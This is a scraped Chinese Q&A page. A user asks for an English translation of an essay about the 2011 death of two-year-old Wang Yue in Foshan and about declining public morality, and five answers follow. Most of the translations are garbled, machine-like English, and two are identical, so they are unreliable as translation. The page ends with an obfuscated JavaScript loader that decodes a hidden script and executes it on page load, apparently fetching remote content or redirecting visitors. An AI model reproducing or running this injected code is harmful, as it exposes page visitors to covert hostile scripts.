英语翻译高手能不能帮我翻译下下面这段文字?

2024-12-16 06:00:33
推荐回答(5个)
回答1:

In October 13, 2011, 2 year-old small Yue-yue ( Wang Yue ) in Foshan Nanhai Huangqi Hardware City Guangfo in succession by two car rolling, 7 minutes, 18 pedestrians pass by but have to pay no heed, indifferent to, finally a gleaning of aunt Chen Xianmei to lend a helping hand, causes a netizen heat to discuss extensively. In October 21, 2011, Xiao Yue Yue after the hospital rescue is invalid, the zero hour 32 separation of the world.
Catch falling moral. An old man falls on the side of the road, there are many people around, but no one to lend a helping hand to help the old man. See this picture makes people sad and angry. What makes these people so cold, so numb? I think there are two main reasons. First of all, due to our country relevant system is still not perfect, they become afraid of their own second" Peng Yu", saved the man was framed. But even more important, we have to admit that, China's national moral standard in declining the fact. The solution of moral problems have been crunch time, first, the state should formulate relevant laws and regulations, punish from ruin, reward and protect the rescuer. Using the law to awaken people 's conscience, do not let the blood and tears hero. Secondly, we should strengthen the national ideological and moral education, carry forward the traditional virtues of the Chinese nation. Only the moral level up, our country will become real harmonious china.
2011年10月13日,2岁的小悦悦(本名王悦)在佛山南海黄岐广佛五金城相继被两车碾压,7分钟内,18名路人路过但都视而不见,漠然而去,最后一名拾荒阿姨陈贤妹上前施以援手,引发网友广泛热议。2011年10月21日,小悦悦经医院全力抢救无效,在零时32分离世。

扶起跌倒的道德。一位老人跌倒在路边,有许多路人围观,但却没有一个人伸出援手去帮助那位老人。看到这么一副图画不禁让人心酸和愤怒。是什么让那些路人如此冷漠,如此麻木?我想主要原因有两点。首先,由于我们国家相关的制度还不够完善,他们害怕自己成为第二个“彭宇”,救了人反被诬陷。但更重要的一点,我们不得不承认,我国国民的道德水准在不断下降这样一个事实。解决道德问题已经刻不容缓,首先,国家应该制定相关法律规定,惩罚见死不救者,奖励和保护施救者。用法律唤醒人们的良知,不让英雄流血又流泪。其次,应该加强对国民的思想道德教育,弘扬中华传统美德。只有道德水平上去了,我们国家才能成为真正的和谐中国。

回答2:

On October 13th 2011, 2 year old Yue-yue (real name Yue Wang) was hit down by two cars, one after another, at Foshan Nanhai Huangqiguangfo Wujin city. In 7 minutes, 18 people passed by, but none went forward to help. Finally, it was a trash picking lady Xian-mei Chen who stepped up to help, and this led to widespread discussion on the internet. On October 21st 2011, Yue-yue died slightly after midnight at 00.32 after days of attemped rescue at the hospital.
The moral of giving those who fall a helping hand. An old man falls at the roadside, many people come around and look, but no one steps forward to help, how much sadness and anger does this picture bring. What is it that makes those passerbys so cold, so unmoved? I think there are two main reasons. Firstly, as our nation's laws are not sufficiently comprehensive, they are afraid to become the next "Peng Yu", saving someone only to be framed. But more importantly, we have to admit that our citizens' morality is going down consistently. We need to solve this problem immediately. Firstly, the nation should pass the related laws, to punish those who do not help, and reward those who do. Use the law to recall the people's conscience, and prevent heros from shedding blood, and tears. Secondly, we should improve our moral and civic education for the citizens, to promote the traditional Chinese morals. Only when our morality has gone up, can our nation finally become a harmonious China.

我虽然不能保证我的答案是没有错误的,但前面几位的答案语法以及文法的错误的多只显示他们对于翻译软件的依赖,对于这个,我是无法容忍的。请采纳!

回答3:

In October 13, 2011, 2 year-old small Yue-yue ( Wang Yue ) in Foshan Nanhai Huangqi Hardware City Guangfo in succession by two car rolling, 7 minutes, 18 pedestrians pass by but have to pay no heed, indifferent to, finally a gleaning of aunt Chen Xianmei to lend a helping hand, causes a netizen heat to discuss extensively. In October 21, 2011, Xiao Yue Yue after the hospital rescue is invalid, the zero hour 32 separation of the world.

Catch falling moral. An old man falls on the side of the road, there are many people around, but no one to lend a helping hand to help the old man. See this picture makes people sad and angry. What makes these people so cold, so numb? I think there are two main reasons. First of all, due to our country relevant system is still not perfect, they become afraid of their own second" Peng Yu", saved the man was framed. But even more important, we have to admit that, China's national moral standard in declining the fact. The solution of moral problems have been crunch time, first, the state should formulate relevant laws and regulations, punish from ruin, reward and protect the rescuer. Using the law to awaken people 's conscience, do not let the blood and tears hero. Secondly, we should strengthen the national ideological and moral education, carry forward the traditional virtues of the Chinese nation. Only the moral level up, our country will become real harmonious china.

回答4:

October 13, 2011, 2-year-old Yue Yue (whose real name is Wang Yue) in the Hardware City, Guangzhou and Foshan, Foshan Nanhai Huangqi two cars have been crushed, 7 minutes, 18 pedestrians passing by, but are blind, indifferent away, the last Chen Xian Mei were picking aunt came a helping hand, triggering widespread hot. October 21, 2011, Yue Yue by the hospital to rescue a small void in the 0:32 separation of the world.

Lift up the moral fall. An old man fell to the street, there are many passers-by crowd, but no one lend a helping hand to help the old man. A picture can not help but see so sad and angry. What makes those passers-by so cold and so numb? I think two main reasons. First, because our country-related systems are not perfect, they are afraid of becoming the second "Peng Yu" and save the people against being framed. But more importantly, we have to admit, our national declining moral standards in such a fact. Urgent ethical issues have been resolved, first of all, the state should formulate relevant laws and regulations to punish those who refused to help, reward and protect the rescuer. Awaken the conscience of law, to prevent bloodshed and tears the hero. Secondly, we should strengthen ideological and moral education of the citizens, promote the Chinese traditional virtues. Only the moral level up, and our country to become a true harmony in China.

回答5:

我不保证对哦
Guang Buddha hardware the city be one after another pressed by two car Nians, in 7 minutes, 18 strangers pass by but all turn a blind eye, cold but go, the last ten Huang aunt Chen Xian Mei come forward to give helping hand and cause a net friend extensive hot argument.On October 21, 2011, the small Yue Yue rescues with all strength through the hospital invalid, in 0.32 separation a life times.

The morals started to hand to fall down.An old man falls down in the wayside, there are many strangers rounding a view, but having no a person to offer help to help that old man.See to arrive such a picture can not help letting public sour and cut up rough.BE what let those stranger thus apathetic, such numbness?I think main reason to contain 2:00.First, because related system in our nation is still not enough perfect, they are frightened they become the second"Peng Yu" and saved a person anti- accuse falsely to sink.But a little bit more important, we have to admit, the our country citizen's morals level is continuously descending such a fact.Working out the question of ethics has been urgent, first, the nation should draw up related law rules, the punishment sees dead not to save , reward and protection to save.Use the conscience that the law wakes people ups, don't make the hero bloodshed and shed tears.Should strengthen to the citizen's thought morals education secondly, expand China traditional virtue.Only morals level go up, our nation just can become real harmonious China.

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();